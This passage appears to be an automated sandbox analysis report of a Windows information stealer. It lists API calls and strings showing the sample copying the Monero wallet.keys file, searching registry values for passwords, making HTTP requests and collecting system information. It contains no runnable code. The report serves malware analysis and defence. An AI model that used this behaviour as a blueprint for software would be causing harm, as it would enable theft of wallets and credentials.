CopyFileA.KERNEL32(?,00000000,00000001), ref: 002E1465

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E99EC
Part of subcall function 002E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 002E9A11
Part of subcall function 002E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 002E9A31
Part of subcall function 002E99C0: ReadFile.KERNEL32(000000FF,?,00000000,002F02E7,00000000), ref: 002E9A5A
Part of subcall function 002E99C0: LocalFree.KERNEL32(002F02E7), ref: 002E9A90
Part of subcall function 002E99C0: CloseHandle.KERNEL32(000000FF), ref: 002E9A9A

DeleteFileA.KERNEL32(00000000), ref: 002E14EF
memset.MSVCRT ref: 002E1516

Strings

.keys, xrefs: 002E136B
SOFTWARE\monero-project\monero-core, xrefs: 002E1335
\Monero\wallet.keys, xrefs: 002E138D
wallet_path, xrefs: 002E1330

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: 98077200c50a83befb289d447c63a09ed5cc16dd7823235dbcb97a57f6a9e654
Instruction ID: 6aa2a8159d05b2343397ff763d1c5b3591c5d658eb002440c5ac79b8f42d16cc
Opcode Fuzzy Hash: 98077200c50a83befb289d447c63a09ed5cc16dd7823235dbcb97a57f6a9e654
Instruction Fuzzy Hash: 3C5143B196011957CB15FB60DD92BEDB33CAF54740F4041B8B70EA2091EE706B99CFA6

Function 002F52C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E6280: InternetOpenA.WININET(00300DFE,00000001,00000000,00000000,00000000), ref: 002E62E1
Part of subcall function 002E6280: StrCmpCA.SHLWAPI(?,0165D4E0), ref: 002E6303
Part of subcall function 002E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002E6335
Part of subcall function 002E6280: HttpOpenRequestA.WININET(00000000,GET,?,016613B8,00000000,00000000,00400100,00000000), ref: 002E6385
Part of subcall function 002E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 002E63BF
Part of subcall function 002E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002E63D1

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 002F5318
lstrlenA.KERNEL32(00000000), ref: 002F532F

Part of subcall function 002F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 002F8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 002F5364
lstrlenA.KERNEL32(00000000), ref: 002F5383
strtok.MSVCRT(00000000,?), ref: 002F539E
lstrlenA.KERNEL32(00000000), ref: 002F53AE

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Strings

ERROR, xrefs: 002F5432
ERROR, xrefs: 002F546F
ERROR, xrefs: 002F53B9
ERROR, xrefs: 002F54A9
ERROR, xrefs: 002F530A

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 8a6020ef4f4b0f1b582fc5deb268dc10236c183f5f6e877083fbf968ea084511
Instruction ID: 60eab73ff8d1b93957a8e2eaf814ca34f0f9e1b079f4ec25c5c95121ca02754f
Opcode Fuzzy Hash: 8a6020ef4f4b0f1b582fc5deb268dc10236c183f5f6e877083fbf968ea084511
Instruction Fuzzy Hash: 00511D7092014C9BCB14FF60C996AFDB778AF10380F908138EA0A5A591DF746B6ACF52

Function 002F70D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 002F70DE

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

OpenProcess.KERNEL32(001FFFFF,00000000,002F730D,003005BD), ref: 002F711C
memset.MSVCRT ref: 002F716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 002F72BE

Strings

s/, xrefs: 002F72AE, 002F7179, 002F717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 002F718C
s/, xrefs: 002F7111

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: s/$s/$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-1218915482
Opcode ID: fd8b8bccb9d4d113cd53ae5ca7ec67c2c1d81c47991622464670bf2267e6c28d
Instruction ID: b4b91b4c51cb79bb1634e6fca702e4d2ce98f4f5e6d01eb573df0fbb10e521ab
Opcode Fuzzy Hash: fd8b8bccb9d4d113cd53ae5ca7ec67c2c1d81c47991622464670bf2267e6c28d
Instruction Fuzzy Hash: E25159B0C2421D9BDB24EB90DC95BFEF774AF04344F1041B8E60AA6181EB746A98CF55

Function 002E75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002E72D0: memset.MSVCRT ref: 002E7314
Part of subcall function 002E72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,002E7C90), ref: 002E733A
Part of subcall function 002E72D0: RegEnumValueA.ADVAPI32(002E7C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 002E73B1
Part of subcall function 002E72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 002E740D
Part of subcall function 002E72D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,002E7C90,80000001,002F61C4,?,?,?,?,?,002E7C90,?), ref: 002E7452
Part of subcall function 002E72D0: HeapFree.KERNEL32(00000000,?,?,?,?,002E7C90,80000001,002F61C4,?,?,?,?,?,002E7C90,?), ref: 002E7459

lstrcatA.KERNEL32(341FA020,003017FC,002E7C90,80000001,002F61C4,?,?,?,?,?,002E7C90,?,?,002F61C4), ref: 002E7606
lstrcatA.KERNEL32(341FA020,00000000,00000000), ref: 002E7648
lstrcatA.KERNEL32(341FA020, : ), ref: 002E765A
lstrcatA.KERNEL32(341FA020,00000000,00000000,00000000), ref: 002E768F
lstrcatA.KERNEL32(341FA020,00301804), ref: 002E76A0
lstrcatA.KERNEL32(341FA020,00000000,00000000,00000000), ref: 002E76D3
lstrcatA.KERNEL32(341FA020,00301808), ref: 002E76ED
task.LIBCPMTD ref: 002E76FB

Strings

: , xrefs: 002E764E

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: e0fbb2c494a433c69d4c0d8e535ef14018ab852157fb7cb82fb1c119208ee172
Instruction ID: ca73b758eb7d291b7d61d7eeb88d2e0a42187133ddb9a9e00f399f16605ac8fa
Opcode Fuzzy Hash: e0fbb2c494a433c69d4c0d8e535ef14018ab852157fb7cb82fb1c119208ee172
Instruction Fuzzy Hash: 0D318772D20109DBCB19EBA5DC95EFE7378AF55301B504018F106A7290CB34AA5BDF62

Function 002E72D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 002E7314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,002E7C90), ref: 002E733A
RegEnumValueA.ADVAPI32(002E7C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 002E73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 002E740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,002E7C90,80000001,002F61C4,?,?,?,?,?,002E7C90,?), ref: 002E7452
HeapFree.KERNEL32(00000000,?,?,?,?,002E7C90,80000001,002F61C4,?,?,?,?,?,002E7C90,?), ref: 002E7459

Part of subcall function 002E9240: vsprintf_s.MSVCRT ref: 002E925B

task.LIBCPMTD ref: 002E7555

Strings

Password, xrefs: 002E7401

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 7a6da60924a8a57804f726ea912802005bd546c62dc29e75407b72771ebcc75b
Instruction ID: 50135a90ec1f44d7df87e7734ac05e1ed9c088c054e62442349cc33c6a5b2556
Opcode Fuzzy Hash: 7a6da60924a8a57804f726ea912802005bd546c62dc29e75407b72771ebcc75b
Instruction Fuzzy Hash: 8A614CB58502989BDB24DF50CC51BDAB7B8BF44300F4081E9E689A6181EBB05FD9CFA1

Function 002F7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 002F7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002F757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F7603
HeapAlloc.KERNEL32(00000000), ref: 002F760A
wsprintfA.USER32 ref: 002F7640

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Strings

C, xrefs: 002F754C
:, xrefs: 002F755C
\, xrefs: 002F7560

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 6626fe3b94347e82a9a8a8f2e9e7514bac8de4604aa9609d0a5a81e48c9661f3
Instruction ID: 8d2cd7a0b1c92d2cdf9cf40c0cb9b6a0ef0a34db3465ec555c304676f593d835
Opcode Fuzzy Hash: 6626fe3b94347e82a9a8a8f2e9e7514bac8de4604aa9609d0a5a81e48c9661f3
Instruction Fuzzy Hash: 40417FB1D1424CABDB10DFA4DC45BEEFBB8AF18744F1000A8F609A7280DB746A54CFA5

Function 002F4780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,0165FFB8,?,00000104,?,00000104,?,00000104,?,00000104), ref: 002F47DB

Part of subcall function 002F8DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 002F8E0B

lstrcatA.KERNEL32(?,00000000), ref: 002F4801
lstrcatA.KERNEL32(?,?), ref: 002F4820
lstrcatA.KERNEL32(?,?), ref: 002F4834
lstrcatA.KERNEL32(?,0165A2D8), ref: 002F4847
lstrcatA.KERNEL32(?,?), ref: 002F485B
lstrcatA.KERNEL32(?,01660A38), ref: 002F486F

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002F8D90: GetFileAttributesA.KERNEL32(00000000,?,002F0117,?,00000000,?,00000000,00300DAB,00300DAA), ref: 002F8D9F

Part of subcall function 002F4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 002F4580
Part of subcall function 002F4570: HeapAlloc.KERNEL32(00000000), ref: 002F4587
Part of subcall function 002F4570: wsprintfA.USER32 ref: 002F45A6
Part of subcall function 002F4570: FindFirstFileA.KERNEL32(?,?), ref: 002F45BD

Strings

0a/, xrefs: 002F48F9, 002F48A1, 002F48A4

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0a/
API String ID: 167551676-203250493
Opcode ID: 41f8717e7079cfa81269002a35e15e80d0c700418e18c88afc46565bd09c8af5
Instruction ID: b13ea087e34c51ea523993ddb60625d017146602187c91062e933d20953c1f28
Opcode Fuzzy Hash: 41f8717e7079cfa81269002a35e15e80d0c700418e18c88afc46565bd09c8af5
Instruction Fuzzy Hash: 493150B691020CA7CB21FBB0DC85EFDB378AF58740F404599B319A6081EEB4D69D8F95

Function 002F8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0165FD30,00000000,?,00300E2C,00000000,?,00000000), ref: 002F8130
